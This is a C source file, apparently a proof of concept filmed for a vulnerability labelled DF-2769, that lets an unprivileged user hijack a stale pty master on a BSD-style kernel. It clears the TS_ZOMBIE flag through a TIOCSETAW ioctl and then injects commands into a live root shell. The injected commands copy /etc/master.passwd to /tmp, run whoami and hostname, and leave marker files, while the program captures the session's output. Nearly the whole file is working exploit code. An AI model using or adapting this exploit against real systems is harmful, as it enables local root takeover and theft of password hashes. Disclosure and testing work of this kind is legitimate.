/*
 * DF-2769 film rig — ATTACKER actor (runs as nobody, unprivileged).
 *
 * Staged takeover of a stale unix98 pty master:
 *   1. open /dev/ptm/N           (fails ENOENT while devfs hides ptm)
 *   2. TIOCGETA + TIOCSETAW with c_cflag |= CLOCAL
 *        -> ttioctl (sys/kern/tty.c:1065-1077) clears TS_ZOMBIE
 *   3. ptcwrite: inject a payload line into the still-live root session
 *   4. ptcread:  capture the session's terminal output live
 *   5. interactive-style round trips: whoami / hostname / marker file
 *
 * Everything is printed with ATTACKER prefixes so the film log reads as
 * the attacker's own terminal.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

static int mfd;

static void
stage(const char *s)
{
	printf("\nATTACKER| ----- %s -----\n", s);
	fflush(stdout);
	usleep(400000);
}

static void
capture(int usec_per_poll, int rounds)
{
	char out[2048];
	ssize_t l;
	struct timeval tv;
	fd_set rfds;
	int r;

	for (r = 0; r < rounds; r++) {
		tv.tv_sec = 0;
		tv.tv_usec = usec_per_poll;
		FD_ZERO(&rfds);
		FD_SET(mfd, &rfds);
		if (select(mfd + 1, &rfds, NULL, NULL, &tv) <= 0)
			continue;
		l = read(mfd, out, sizeof(out) - 1);
		if (l <= 0)
			break;
		out[l] = 0;
		printf("ATTACKER-READ| %s", out);
		fflush(stdout);
	}
}

static void
inject(const char *line)
{
	stage("INJECT into the root session's tty");
	printf("ATTACKER| $ write(master, \"%s\\n\")\n", line);
	if (write(mfd, line, strlen(line)) < 0)
		perror("ATTACKER| write");
	write(mfd, "\n", 1);
	fflush(stdout);
}

int
main(int argc, char **argv)
{
	char path[64];
	struct termios tio;
	int unit;

	setvbuf(stdout, NULL, _IOLBF, 0);
	if (argc < 2) {
		fprintf(stderr, "usage: film_attack <pts-path>\n");
		return 1;
	}
	unit = atoi(strrchr(argv[1], '/') + 1);

	printf("ATTACKER| identity: uid=%ld euid=%ld (must be unprivileged)\n",
	    (long)getuid(), (long)geteuid());
	fflush(stdout);

	stage("open the STALE master /dev/ptm/N (the dead terminal's seat)");
	snprintf(path, sizeof(path), "/dev/ptm/%d", unit);
	printf("ATTACKER| $ open(\"%s\", O_RDWR)\n", path);
	fflush(stdout);
	mfd = open(path, O_RDWR);
	if (mfd < 0) {
		printf("ATTACKER| -> %s  [devfs hides /dev/ptm on the default ruleset]\n",
		    strerror(errno));
		printf("ATTACKER| RESULT=FENCED\n");
		fflush(stdout);
		return 3;
	}
	printf("ATTACKER| -> master fd %d opened. I am the new master of a live session.\n", mfd);
	fflush(stdout);

	stage("clear the kernel's last fence: TS_ZOMBIE via TIOCSETAW + CLOCAL");
	if (ioctl(mfd, TIOCGETA, &tio) < 0) {
		perror("ATTACKER| TIOCGETA");
		return 1;
	}
	tio.c_cflag |= CLOCAL;
	if (ioctl(mfd, TIOCSETAW, &tio) < 0) {
		perror("ATTACKER| TIOCSETAW");
		return 1;
	}
	printf("ATTACKER| -> TIOCSETAW(c_cflag|=CLOCAL) ok: TS_ZOMBIE cleared (tty.c:1065-1077)\n");
	printf("ATTACKER| -> the dead terminal is alive again -- under MY control\n");
	fflush(stdout);

	/* payload: exfiltration + uid-0 proof file, executed by the ROOT session */
	inject("id > /tmp/df2769_pwned; cat /etc/master.passwd > /tmp/df2769_secret");
	stage("capture the session's screen via ptcread");
	capture(300000, 8);

	/* live interactive control: round trip with the root shell */
	inject("whoami; hostname");
	stage("the root shell answers ON MY screen");
	capture(300000, 10);

	inject("echo DF-2769-PWNED > /tmp/df2769_marker");
	stage("leave a 0:0-owned marker");
	capture(300000, 6);

	printf("\nATTACKER| RESULT=HIJACKED (root session fully controlled by 'nobody')\n");
	fflush(stdout);
	return 0;
}
